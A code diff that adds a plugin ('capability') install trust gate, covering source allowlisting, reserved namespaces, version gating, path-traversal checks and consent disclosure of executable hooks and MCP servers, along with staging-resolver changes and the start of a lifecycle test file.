hostVersion: string;
|
||||
source: string;
|
||||
integrity: string | null;
|
||||
promote?: boolean;
|
||||
skipEnginesGate?: boolean;
|
||||
}): ResolveResult {
|
||||
const { sourceDir, id, gsdHome, hostVersion, source, integrity } = opts;
|
||||
const promote = opts.promote !== false;
|
||||
|
||||
// Safety: validate id before using it in a path.
|
||||
assertSafeId(id);
|
||||
@@ -343,9 +361,9 @@ function stageValidated(opts: {
|
||||
throw new Error('capability.json must be a JSON object');
|
||||
}
|
||||
|
||||
// engines.gsd pre-check — reject before staging finalizes.
|
||||
// engines.gsd pre-check — reject before staging finalizes (unless the caller owns the gate).
|
||||
const engines = cap['engines'];
|
||||
if (engines && typeof engines === 'object' && !Array.isArray(engines)) {
|
||||
if (!opts.skipEnginesGate && engines && typeof engines === 'object' && !Array.isArray(engines)) {
|
||||
const gsdRange = (engines as Record<string, unknown>)['gsd'];
|
||||
if (typeof gsdRange === 'string' && gsdRange) {
|
||||
if (!semverMod.semverSatisfies(hostVersion, gsdRange)) {
|
||||
@@ -380,11 +398,19 @@ function stageValidated(opts: {
|
||||
throw new Error(`Cross-capability validation failed: ${crossErrs.join('; ')}`);
|
||||
}
|
||||
|
||||
// When promote === false the caller owns the swap (ADR-1244 Phase 4 upgrade path):
|
||||
// return the validated staging dir as-is, leaving it on disk for the caller to rename.
|
||||
if (!promote) {
|
||||
const version = typeof cap['version'] === 'string' ? cap['version'] : '';
|
||||
return { id, version, stagedDir: stagingDir, integrity, source };
|
||||
}
|
||||
|
||||
// All validation passed — promote staging to final.
|
||||
// Replacement is move-aside-then-rename (not rm-then-rename): rename the old
|
||||
// bundle aside (atomic), move the new one in, restore the old one if the second
|
||||
// rename fails. This avoids leaving the capability missing on a failed swap.
|
||||
// (Fully-atomic stage-then-swap for upgrades is finished in Phase 4 / ADR-1244 D6.)
|
||||
// (The fully-atomic stage-then-swap with the ledger as commit point — for upgrades —
|
||||
// lives in capability-lifecycle.cjs and uses promote:false above.)
|
||||
if (fs.existsSync(finalDir)) {
|
||||
const backupDir = `${finalDir}.old-${process.pid}-${Date.now()}`;
|
||||
fs.renameSync(finalDir, backupDir);
|
||||
@@ -501,7 +527,7 @@ function resolveLocal(
|
||||
const id = typeof cap['id'] === 'string' ? cap['id'] : '';
|
||||
if (!id) throw new Error('capability.json missing "id" field');
|
||||
|
||||
return stageValidated({ sourceDir: absPath, id, gsdHome, hostVersion, source: parsed.raw, integrity: null });
|
||||
return stageValidated({ sourceDir: absPath, id, gsdHome, hostVersion, source: parsed.raw, integrity: null, promote: opts.promote, skipEnginesGate: opts.skipEnginesGate });
|
||||
}
|
||||
|
||||
function resolveGit(
|
||||
@@ -543,7 +569,7 @@ function resolveGit(
|
||||
const id = typeof cap['id'] === 'string' ? cap['id'] : '';
|
||||
if (!id) throw new Error('capability.json missing "id" field');
|
||||
|
||||
return stageValidated({ sourceDir: cloneDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: null });
|
||||
return stageValidated({ sourceDir: cloneDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: null, promote: opts.promote, skipEnginesGate: opts.skipEnginesGate });
|
||||
} finally {
|
||||
try { fs.rmSync(cloneDir, { recursive: true, force: true }); } catch { /* best-effort */ }
|
||||
}
|
||||
@@ -605,7 +631,7 @@ function resolveNpm(
|
||||
const id = typeof cap['id'] === 'string' ? cap['id'] : '';
|
||||
if (!id) throw new Error('capability.json missing "id" field');
|
||||
|
||||
return stageValidated({ sourceDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: null });
|
||||
return stageValidated({ sourceDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: null, promote: opts.promote, skipEnginesGate: opts.skipEnginesGate });
|
||||
} finally {
|
||||
try { fs.rmSync(tmpPackDir, { recursive: true, force: true }); } catch { /* best-effort */ }
|
||||
try { fs.rmSync(extractDir, { recursive: true, force: true }); } catch { /* best-effort */ }
|
||||
@@ -659,7 +685,7 @@ async function resolveTarball(
|
||||
const id = typeof cap['id'] === 'string' ? cap['id'] : '';
|
||||
if (!id) throw new Error('capability.json missing "id" field');
|
||||
|
||||
return stageValidated({ sourceDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: computedIntegrity });
|
||||
return stageValidated({ sourceDir, id, gsdHome, hostVersion, source: parsed.raw, integrity: computedIntegrity, promote: opts.promote, skipEnginesGate: opts.skipEnginesGate });
|
||||
} finally {
|
||||
try { fs.rmSync(extractDir, { recursive: true, force: true }); } catch { /* best-effort */ }
|
||||
}
|
||||
|
||||
538
src/capability-trust.cts
Normal file
538
src/capability-trust.cts
Normal file
@@ -0,0 +1,538 @@
|
||||
/**
|
||||
* Capability trust gate — ADR-1244 Phase 4 (Decision D5 + the compatibility half of D6).
|
||||
*
|
||||
* PURE module. It computes *what* a capability would do and *whether* policy allows it; it
|
||||
* never mutates the filesystem and never performs I/O beyond reading staged files to confirm
|
||||
* declared executable artifacts exist. The actual consent decision (yes/no) is passed in by the
|
||||
* caller — GSD has no interactive-prompt layer in lib (the runtime/CLI edge owns that), so the
|
||||
* gate stays testable and side-effect-free. See docs/explanation/the-capability-trust-model.md.
|
||||
*
|
||||
* LEAF MODULE — imports ONLY: node:fs, node:path, and ./semver-compare.cjs.
|
||||
*
|
||||
* Exports:
|
||||
* RESERVED_NAMESPACES — id prefixes third parties may not claim
|
||||
* discloseExecutableSurfaces(...) — enumerate hooks / command modules / mcpServers
|
||||
* checkReservedNamespace(id) — is this id in a reserved namespace?
|
||||
* evaluateSourceAllowed(parsed,...) — strictKnownRegistries enforcement
|
||||
* checkEngines(manifest, host) — engines.gsd hard gate + compatVersions downgrade
|
||||
* evaluateInstallTrust(args) — compose: source + namespace + engines + disclosure
|
||||
* executableSetChanged(old, new) — did the executable surface set change between versions?
|
||||
* summarizeDisclosure(disclosure) — human-readable consent-prompt lines
|
||||
*/
|
||||
|
||||
import fs from 'node:fs';
|
||||
import path from 'node:path';
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||
const semverMod = require('./semver-compare.cjs') as {
|
||||
semverSatisfies: (version: string, range: string) => boolean;
|
||||
isSemverNewer: (a: string, b: string) => boolean;
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Constants
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Id prefixes reserved for first-party / vendor capabilities. A third-party capability whose
|
||||
* id begins with any of these is rejected at install so it cannot impersonate a first-party
|
||||
* one. Match is case-insensitive on the normalized id.
|
||||
*/
|
||||
const RESERVED_NAMESPACES = ['gsd-', 'gsd-core-', 'anthropic-'];
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
interface CapabilityManifest {
|
||||
id?: unknown;
|
||||
version?: unknown;
|
||||
engines?: unknown;
|
||||
compatVersions?: unknown;
|
||||
hooks?: unknown;
|
||||
commands?: unknown;
|
||||
mcpServers?: unknown;
|
||||
[k: string]: unknown;
|
||||
}
|
||||
|
||||
interface HookSurface {
|
||||
event: string;
|
||||
script: string;
|
||||
}
|
||||
|
||||
interface CommandModuleSurface {
|
||||
family: string;
|
||||
module: string;
|
||||
}
|
||||
|
||||
interface McpServerSurface {
|
||||
name: string;
|
||||
/** The command the server spawns (the actual executable — disclosed for honest consent). */
|
||||
command: string;
|
||||
/** Arguments passed to the command. */
|
||||
argv: string[];
|
||||
}
|
||||
|
||||
interface Disclosure {
|
||||
/** Hook scripts the capability registers (each runs as a runtime hook command). */
|
||||
hooks: HookSurface[];
|
||||
/** Command modules the capability ships (each is require()'d into the GSD CLI process). */
|
||||
commandModules: CommandModuleSurface[];
|
||||
/** MCP servers the capability declares (each spawned by the host runtime) — name AND command. */
|
||||
mcpServers: McpServerSurface[];
|
||||
/** True when the capability ships ANY executable surface (=> consent required). */
|
||||
hasExecutable: boolean;
|
||||
/**
|
||||
* Declared module/script files that were NOT found under the staged dir (defensive — a
|
||||
* manifest referencing a missing artifact is suspicious; surfaced, not silently dropped).
|
||||
* Empty when no stagedDir was supplied.
|
||||
*/
|
||||
missingArtifacts: string[];
|
||||
}
|
||||
|
||||
type StrictKnownRegistries = string[] | null | undefined;
|
||||
|
||||
interface ParsedSpec {
|
||||
kind: 'registry' | 'git' | 'npm' | 'tarball' | 'local';
|
||||
raw: string;
|
||||
target: string;
|
||||
ref?: string;
|
||||
}
|
||||
|
||||
interface SourceVerdict {
|
||||
allowed: boolean;
|
||||
reason: string | null;
|
||||
}
|
||||
|
||||
interface EnginesVerdict {
|
||||
/** Does the capability's *current* version run on this host? */
|
||||
compatible: boolean;
|
||||
/** The declared engines.gsd range, or null if unconstrained. */
|
||||
range: string | null;
|
||||
satisfiedBy: 'engines' | 'compatVersions' | 'unconstrained' | null;
|
||||
/** When the current version is incompatible but compatVersions names one that works. */
|
||||
downgradeTo?: string;
|
||||
}
|
||||
|
||||
interface InstallTrustArgs {
|
||||
parsed: ParsedSpec;
|
||||
manifest: CapabilityManifest;
|
||||
/** Optional staged dir — when given, declared artifacts are existence-checked. */
|
||||
stagedDir?: string;
|
||||
strictKnownRegistries?: StrictKnownRegistries;
|
||||
hostVersion: string;
|
||||
}
|
||||
|
||||
interface InstallTrustVerdict {
|
||||
/** True when no policy gate blocks the install. */
|
||||
allowed: boolean;
|
||||
/** True when the install is allowed BUT ships executable surfaces => needs consent. */
|
||||
requiresConsent: boolean;
|
||||
disclosure: Disclosure;
|
||||
engines: EnginesVerdict;
|
||||
/** Non-empty when allowed === false; each string is a human-readable block reason. */
|
||||
blockReasons: string[];
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Disclosure
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function asString(v: unknown): string {
|
||||
return typeof v === 'string' ? v : '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Enumerate every executable surface a capability manifest declares.
|
||||
*
|
||||
* Recognizes the three executable surface kinds a capability can ship:
|
||||
* - `hooks`: [{ event, script }] — scripts run as runtime hook commands
|
||||
* - `commands`:[{ family, module, router? }] — modules require()'d into the CLI process
|
||||
* - `mcpServers`: { <name>: {...} } | [{ name }] — servers spawned by the host runtime
|
||||
*
|
||||
* `mcpServers` is not a first-party capability.json field today, but a third-party manifest may
|
||||
* declare it, so the trust gate discloses it whenever present (honest disclosure over the
|
||||
* narrower first-party schema). Pure: when `stagedDir` is provided, declared script/module
|
||||
* files are existence-checked and any missing ones reported, but nothing is mutated.
|
||||
*/
|
||||
function discloseExecutableSurfaces(manifest: CapabilityManifest, stagedDir?: string): Disclosure {
|
||||
const hooks: HookSurface[] = [];
|
||||
const commandModules: CommandModuleSurface[] = [];
|
||||
const mcpServers: McpServerSurface[] = [];
|
||||
const missingArtifacts: string[] = [];
|
||||
|
||||
// hooks: [{ event, script }]
|
||||
if (Array.isArray(manifest.hooks)) {
|
||||
for (const h of manifest.hooks) {
|
||||
if (typeof h !== 'object' || h === null) continue;
|
||||
const rec = h as Record<string, unknown>;
|
||||
const script = asString(rec['script']);
|
||||
const event = asString(rec['event']);
|
||||
if (script) {
|
||||
hooks.push({ event, script });
|
||||
if (stagedDir && !artifactExists(stagedDir, script)) {
|
||||
missingArtifacts.push(script);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// commands: [{ family, module, router? }]
|
||||
if (Array.isArray(manifest.commands)) {
|
||||
for (const c of manifest.commands) {
|
||||
if (typeof c !== 'object' || c === null) continue;
|
||||
const rec = c as Record<string, unknown>;
|
||||
const moduleName = asString(rec['module']);
|
||||
const family = asString(rec['family']);
|
||||
if (moduleName) {
|
||||
commandModules.push({ family, module: moduleName });
|
||||
if (stagedDir && !artifactExists(stagedDir, moduleName)) {
|
||||
missingArtifacts.push(moduleName);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mcpServers: object map { name: { command, args } } OR array [{ name, command, args }]
|
||||
// (or array [{ name, config: { command, args } }]). Capture the COMMAND, not just the name —
|
||||
// the command is the executable that actually runs, and consent must disclose it (Codex R1 H1).
|
||||
if (manifest.mcpServers && typeof manifest.mcpServers === 'object') {
|
||||
const pushServer = (name: string, config: unknown): void => {
|
||||
if (!name) return;
|
||||
const cfg = (typeof config === 'object' && config !== null) ? (config as Record<string, unknown>) : {};
|
||||
const command = asString(cfg['command']);
|
||||
const argv = Array.isArray(cfg['args']) ? cfg['args'].filter((a): a is string => typeof a === 'string') : [];
|
||||
mcpServers.push({ name, command, argv });
|
||||
};
|
||||
if (Array.isArray(manifest.mcpServers)) {
|
||||
for (const s of manifest.mcpServers) {
|
||||
if (typeof s === 'object' && s !== null) {
|
||||
const rec = s as Record<string, unknown>;
|
||||
pushServer(asString(rec['name']), rec['config'] ?? rec);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for (const [name, config] of Object.entries(manifest.mcpServers as Record<string, unknown>)) {
|
||||
pushServer(name, config);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const hasExecutable = hooks.length > 0 || commandModules.length > 0 || mcpServers.length > 0;
|
||||
return { hooks, commandModules, mcpServers, hasExecutable, missingArtifacts };
|
||||
}
|
||||
|
||||
/**
|
||||
* Existence-check a manifest-declared artifact path under stagedDir, refusing to follow it
|
||||
* outside the staged root (defense against `../` traversal in a hostile manifest).
|
||||
*/
|
||||
function artifactExists(stagedDir: string, relPath: string): boolean {
|
||||
if (!relPath || path.isAbsolute(relPath) || relPath.split(/[/\\]/).includes('..')) {
|
||||
// A traversal/absolute artifact path is treated as "not present" (and is independently
|
||||
// rejected by the validator / lifecycle); never resolve it.
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
return fs.existsSync(path.join(stagedDir, relPath));
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Namespace reservation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Is `id` in a reserved namespace? Reserved prefixes are first-party/vendor-only so a
|
||||
* third-party capability cannot impersonate a first-party one.
|
||||
*/
|
||||
function checkReservedNamespace(id: unknown): { reserved: boolean; namespace: string | null } {
|
||||
if (typeof id !== 'string' || !id) return { reserved: false, namespace: null };
|
||||
const lower = id.toLowerCase();
|
||||
for (const ns of RESERVED_NAMESPACES) {
|
||||
if (lower.startsWith(ns)) return { reserved: true, namespace: ns };
|
||||
}
|
||||
return { reserved: false, namespace: null };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// strictKnownRegistries enforcement
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Extract the host of a URL-bearing spec for host-based allowlist matching. Returns '' when no
|
||||
* host can be parsed (caller treats '' as non-matching).
|
||||
*/
|
||||
function specHost(parsed: ParsedSpec): string {
|
||||
// git specs may be scp-style (git@host:path) or URL-style; tarball/registry are URLs.
|
||||
const raw = parsed.target || parsed.raw || '';
|
||||
const scp = /^[^@/]+@([^:]+):/.exec(raw);
|
||||
if (scp) return scp[1].toLowerCase();
|
||||
try {
|
||||
return new URL(raw).hostname.toLowerCase();
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* True if `host` equals an allowlist entry or is a subdomain of it. Host-based, NOT substring:
|
||||
* `github.com` matches `github.com` and `api.github.com`, never `evilgithub.com`.
|
||||
*/
|
||||
function hostMatchesAllowlist(host: string, list: string[]): boolean {
|
||||
if (!host) return false;
|
||||
for (const entryRaw of list) {
|
||||
const entry = typeof entryRaw === 'string' ? entryRaw.trim().toLowerCase() : '';
|
||||
if (!entry) continue;
|
||||
if (host === entry || host.endsWith('.' + entry)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* True for a Windows/UNC network path. Matches any two leading slash-or-backslash characters
|
||||
* (`\\`, `//`, and the mixed `\/` / `/\` forms Windows also treats as UNC-absolute).
|
||||
*/
|
||||
function isUncPath(p: string): boolean {
|
||||
return /^[\\/]{2}/.test(p);
|
||||
}
|
||||
|
||||
/** Extract the server host of a UNC path (`\\server\share` -> `server`). */
|
||||
function uncHost(p: string): string {
|
||||
const m = /^[\\/]{2}([^\\/]+)/.exec(p);
|
||||
return m ? m[1].toLowerCase() : '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Apply the `capabilities.strict_known_registries` policy to a parsed spec.
|
||||
*
|
||||
* undefined/null -> permissive: external installs allowed (consent gate still applies).
|
||||
* [] -> lockdown: all EXTERNAL installs blocked (local-only).
|
||||
* non-empty list -> allowlist: only sources whose host matches an entry are allowed.
|
||||
* anything else -> FAIL CLOSED: a malformed policy value blocks the install.
|
||||
*
|
||||
* Local (filesystem) sources are never "external" and are always allowed — EXCEPT a UNC network
|
||||
* path (`\\server\share`), which is remote despite parsing as an "absolute"/local-kind spec and is
|
||||
* therefore subject to the policy.
|
||||
*/
|
||||
function evaluateSourceAllowed(parsed: ParsedSpec, strict: StrictKnownRegistries): SourceVerdict {
|
||||
const target = parsed.target || parsed.raw || '';
|
||||
const unc = parsed.kind === 'local' && isUncPath(target);
|
||||
if (parsed.kind === 'local' && !unc) return { allowed: true, reason: null };
|
||||
|
||||
if (strict === undefined || strict === null) return { allowed: true, reason: null };
|
||||
if (!Array.isArray(strict)) {
|
||||
// A security policy must never be silently ignored when it is the wrong type (e.g. a
|
||||
// string `"[]"` from a hand-edited config). Fail closed.
|
||||
return {
|
||||
allowed: false,
|
||||
reason:
|
||||
'capabilities.strict_known_registries must be an array (or null/unset); refusing the install on a malformed policy value',
|
||||
};
|
||||
}
|
||||
|
||||
if (strict.length === 0) {
|
||||
return {
|
||||
allowed: false,
|
||||
reason:
|
||||
'capabilities.strict_known_registries is [] — all external capability installs are disabled. ' +
|
||||
'Install from a local path, or add an allowed host to the list.',
|
||||
};
|
||||
}
|
||||
|
||||
// npm specs carry no host; the "registry" is npm itself. Treat the allowlist token "npm" as
|
||||
// permitting the npm source kind.
|
||||
if (parsed.kind === 'npm') {
|
||||
if (strict.some((e) => typeof e === 'string' && e.trim().toLowerCase() === 'npm')) {
|
||||
return { allowed: true, reason: null };
|
||||
}
|
||||
return {
|
||||
allowed: false,
|
||||
reason: `npm source is not in capabilities.strict_known_registries (add "npm" to allow it)`,
|
||||
};
|
||||
}
|
||||
|
||||
const host = unc ? uncHost(target) : specHost(parsed);
|
||||
if (hostMatchesAllowlist(host, strict)) return { allowed: true, reason: null };
|
||||
return {
|
||||
allowed: false,
|
||||
reason: `source host "${host || '(unparseable)'}" is not in capabilities.strict_known_registries`,
|
||||
};
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// engines.gsd hard gate + compatVersions downgrade
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Hard-gate a manifest against the running host version via engines.gsd, consulting
|
||||
* compatVersions for a graceful-downgrade target when the current version is incompatible.
|
||||
*/
|
||||
function checkEngines(manifest: CapabilityManifest, hostVersion: string): EnginesVerdict {
|
||||
const engines = manifest.engines;
|
||||
let range: string | null = null;
|
||||
if (engines && typeof engines === 'object' && !Array.isArray(engines)) {
|
||||
const g = (engines as Record<string, unknown>)['gsd'];
|
||||
if (typeof g === 'string' && g) range = g;
|
||||
}
|
||||
|
||||
if (!range) return { compatible: true, range: null, satisfiedBy: 'unconstrained' };
|
||||
|
||||
if (semverMod.semverSatisfies(hostVersion, range)) {
|
||||
return { compatible: true, range, satisfiedBy: 'engines' };
|
||||
}
|
||||
|
||||
// Current version is incompatible — look for a compatVersions entry that works, picking the
|
||||
// newest such capability version (best graceful downgrade).
|
||||
const compat = manifest.compatVersions;
|
||||
let best: string | undefined;
|
||||
if (compat && typeof compat === 'object' && !Array.isArray(compat)) {
|
||||
for (const [capVer, gsdRange] of Object.entries(compat as Record<string, unknown>)) {
|
||||
if (typeof gsdRange !== 'string' || !gsdRange) continue;
|
||||
if (!semverMod.semverSatisfies(hostVersion, gsdRange)) continue;
|
||||
if (best === undefined || semverMod.isSemverNewer(capVer, best)) best = capVer;
|
||||
}
|
||||
}
|
||||
|
||||
if (best !== undefined) {
|
||||
return { compatible: false, range, satisfiedBy: 'compatVersions', downgradeTo: best };
|
||||
}
|
||||
return { compatible: false, range, satisfiedBy: null };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Composite install verdict
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Compose the full install trust verdict: source policy + reserved-namespace + engines gate +
|
||||
* executable-surface disclosure. `allowed` is true only when no gate blocks; `requiresConsent`
|
||||
* is true when allowed AND the capability ships any executable surface.
|
||||
*
|
||||
* engines.gsd is also enforced inside resolveCapabilitySource at resolve time; re-checking here
|
||||
* is defense-in-depth and lets callers surface a compatVersions downgrade hint.
|
||||
*/
|
||||
function evaluateInstallTrust(args: InstallTrustArgs): InstallTrustVerdict {
|
||||
const { parsed, manifest, stagedDir, strictKnownRegistries, hostVersion } = args;
|
||||
const blockReasons: string[] = [];
|
||||
|
||||
const src = evaluateSourceAllowed(parsed, strictKnownRegistries);
|
||||
if (!src.allowed && src.reason) blockReasons.push(src.reason);
|
||||
|
||||
const ns = checkReservedNamespace(manifest.id);
|
||||
if (ns.reserved) {
|
||||
blockReasons.push(
|
||||
`capability id "${asString(manifest.id)}" uses the reserved namespace "${ns.namespace}" — ` +
|
||||
'reserved for first-party capabilities',
|
||||
);
|
||||
}
|
||||
|
||||
const engines = checkEngines(manifest, hostVersion);
|
||||
if (!engines.compatible) {
|
||||
const hint = engines.downgradeTo
|
||||
? ` (compatVersions offers ${engines.downgradeTo} for this host)`
|
||||
: '';
|
||||
blockReasons.push(
|
||||
`capability requires engines.gsd "${engines.range}" but host is ${hostVersion}${hint}`,
|
||||
);
|
||||
}
|
||||
|
||||
const disclosure = discloseExecutableSurfaces(manifest, stagedDir);
|
||||
|
||||
// A manifest that declares a hook script or command module NOT present in the staged bundle
|
||||
// (missing, or escaping the bundle via an absolute/`..` path) is rejected: such an artifact
|
||||
// would run from outside the integrity-pinned, reversible install root. Only enforced when a
|
||||
// stagedDir was provided to existence-check against.
|
||||
if (stagedDir && disclosure.missingArtifacts.length > 0) {
|
||||
blockReasons.push(
|
||||
`capability declares executable artifacts not present in the staged bundle (or escaping it): ${disclosure.missingArtifacts.join(', ')}`,
|
||||
);
|
||||
}
|
||||
|
||||
const allowed = blockReasons.length === 0;
|
||||
const requiresConsent = allowed && disclosure.hasExecutable;
|
||||
return { allowed, requiresConsent, disclosure, engines, blockReasons };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Executable-set change detection (auto-update re-prompt trigger)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function disclosureSignature(d: Disclosure): string {
|
||||
const hooks = d.hooks.map((h) => `hook:${h.event}:${h.script}`).sort();
|
||||
const mods = d.commandModules.map((m) => `mod:${m.family}:${m.module}`).sort();
|
||||
// Include the command + argv so a version that keeps the server NAME but swaps the executable
|
||||
// it runs is detected as a changed surface (forces re-consent). argv is JSON-encoded (not
|
||||
// space-joined) so an argument-boundary change (['a b'] vs ['a','b']) is still a change.
|
||||
const mcp = d.mcpServers.map((s) => `mcp:${s.name}:${s.command}:${JSON.stringify(s.argv)}`).sort();
|
||||
return JSON.stringify([hooks, mods, mcp]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Did the executable surface set change between two versions? Auto-update must re-prompt for
|
||||
* consent when it did (the user consented to one set of executable surfaces, not another).
|
||||
*/
|
||||
function executableSetChanged(oldD: Disclosure, newD: Disclosure): boolean {
|
||||
return disclosureSignature(oldD) !== disclosureSignature(newD);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Human-readable consent prompt
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Render a disclosure as consent-prompt lines. Returned as an array so the CLI/runtime edge can
|
||||
* format it; the lib never writes to stdout.
|
||||
*/
|
||||
function summarizeDisclosure(disclosure: Disclosure): string[] {
|
||||
const lines: string[] = [];
|
||||
if (!disclosure.hasExecutable) {
|
||||
lines.push('This capability ships no executable surfaces (declarative only).');
|
||||
return lines;
|
||||
}
|
||||
lines.push('This capability ships executable surfaces that will run in your agent runtime:');
|
||||
if (disclosure.hooks.length > 0) {
|
||||
lines.push(` hooks (${disclosure.hooks.length}): run as runtime hook commands`);
|
||||
for (const h of disclosure.hooks) {
|
||||
lines.push(` - ${h.event || '(event?)'} -> ${h.script}`);
|
||||
}
|
||||
}
|
||||
if (disclosure.commandModules.length > 0) {
|
||||
lines.push(
|
||||
` command modules (${disclosure.commandModules.length}): require()'d into the GSD CLI process`,
|
||||
);
|
||||
for (const m of disclosure.commandModules) {
|
||||
lines.push(` - ${m.family || '(family?)'} -> ${m.module}`);
|
||||
}
|
||||
}
|
||||
if (disclosure.mcpServers.length > 0) {
|
||||
lines.push(` MCP servers (${disclosure.mcpServers.length}): spawned by the host runtime`);
|
||||
for (const s of disclosure.mcpServers) {
|
||||
const cmd = [s.command, ...s.argv].filter(Boolean).join(' ');
|
||||
lines.push(` - ${s.name} -> ${cmd || '(no command declared)'}`);
|
||||
}
|
||||
}
|
||||
if (disclosure.missingArtifacts.length > 0) {
|
||||
lines.push(' WARNING — declared artifacts not found in the staged bundle:');
|
||||
for (const a of disclosure.missingArtifacts) {
|
||||
lines.push(` - ${a}`);
|
||||
}
|
||||
}
|
||||
return lines;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Exports
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export = {
|
||||
RESERVED_NAMESPACES,
|
||||
discloseExecutableSurfaces,
|
||||
checkReservedNamespace,
|
||||
evaluateSourceAllowed,
|
||||
checkEngines,
|
||||
evaluateInstallTrust,
|
||||
executableSetChanged,
|
||||
summarizeDisclosure,
|
||||
};
|
||||
627
tests/capability-lifecycle.test.cjs
Normal file
627
tests/capability-lifecycle.test.cjs
Normal file
@@ -0,0 +1,627 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Tests for capability lifecycle orchestration — ADR-1244 Phase 4 (D5 + D6).
|
||||
* Covers install (consent / abort / block), upgrade (atomic stage-then-swap, ledger commit
|
||||
* point, executable-set re-consent), remove (surgical marker-isolated strip + the user
|
||||
* hand-edit fault case), and the crash-recovery reconciliation sweep.
|
||||
*
|
||||
* The bulk of the logic is exercised through an injectable `_resolve` seam (so tests are not
|
||||
* coupled to full capability validation); one test drives the REAL resolver end-to-end.
|
||||
*/
|
||||
|
||||
const test = require('node:test');
|
||||
const assert = require('node:assert');
|
||||
const fs = require('node:fs');
|
||||
const os = require('node:os');
|
||||
const path = require('node:path');
|
||||
|
||||
const { cleanup } = require('./helpers.cjs');
|
||||
const lifecycle = require('../gsd-core/bin/lib/capability-lifecycle.cjs');
|
||||
const ledgerMod = require('../gsd-core/bin/lib/capability-ledger.cjs');
|
||||
const { CAP_MARKER } = lifecycle;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const cleanups = [];
|
||||
function runtime() {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-life-'));
|
||||
cleanups.push(dir);
|
||||
return dir;
|
||||
}
|
||||
test.after(() => {
|
||||
for (const d of cleanups) cleanup(d);
|
||||
});
|
||||
|
||||
function declarativeCap(id, version = '1.0.0') {
|
||||
return {
|
||||
id,
|
||||
role: 'feature',
|
||||
version,
|
||||
title: id,
|
||||
description: 'test capability',
|
||||
tier: 'standard',
|
||||
requires: [],
|
||||
engines: { gsd: '>=1.0.0' },
|
||||
runtimeCompat: { supported: ['*'], unsupported: [] },
|
||||
skills: [],
|
||||
agents: [],
|
||||
hooks: [],
|
||||
config: {},
|
||||
steps: [],
|
||||
contributions: [],
|
||||
gates: [],
|
||||
};
|
||||
}
|
||||
|
||||
function execCap(id, version, { script = 'hooks/run.js', mcp = null } = {}) {
|
||||
const cap = declarativeCap(id, version);
|
||||
cap.hooks = [{ event: 'PostToolUse', script }];
|
||||
if (mcp) cap.mcpServers = mcp;
|
||||
return cap;
|
||||
}
|
||||
|
||||
let stageCounter = 0;
|
||||
/** Materialize a declared artifact file inside the staged bundle (so the trust gate's
|
||||
* existence check passes), skipping absolute/traversal paths. */
|
||||
function materialize(dir, rel) {
|
||||
if (typeof rel !== 'string' || !rel || path.isAbsolute(rel) || rel.split(/[/\\]/).includes('..')) return;
|
||||
const p = path.join(dir, rel);
|
||||
fs.mkdirSync(path.dirname(p), { recursive: true });
|
||||
fs.writeFileSync(p, '// artifact', 'utf8');
|
||||
}
|
||||
/** Build a `_resolve` seam that stages `manifest` (and its declared artifacts) under .staging. */
|
||||
function fakeResolve(manifest, { integrity = null, throwErr = null } = {}) {
|
||||
return async (spec, opts) => {
|
||||
if (throwErr) throw new Error(throwErr);
|
||||
const root = path.join(opts.gsdHome, '.gsd', 'capabilities', '.staging');
|
||||
fs.mkdirSync(root, { recursive: true });
|
||||
const dir = path.join(root, `${manifest.id}-${++stageCounter}`);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(manifest), 'utf8');
|
||||
for (const h of manifest.hooks || []) if (h && h.script) materialize(dir, h.script);
|
||||
for (const c of manifest.commands || []) if (c && c.module) materialize(dir, c.module);
|
||||
return { id: manifest.id, version: manifest.version, stagedDir: dir, integrity, source: spec };
|
||||
};
|
||||
}
|
||||
|
||||
function readLedgerEntry(dir, id) {
|
||||
const l = ledgerMod.readLedger(dir);
|
||||
return l && l.entries[id] ? l.entries[id] : null;
|
||||
}
|
||||
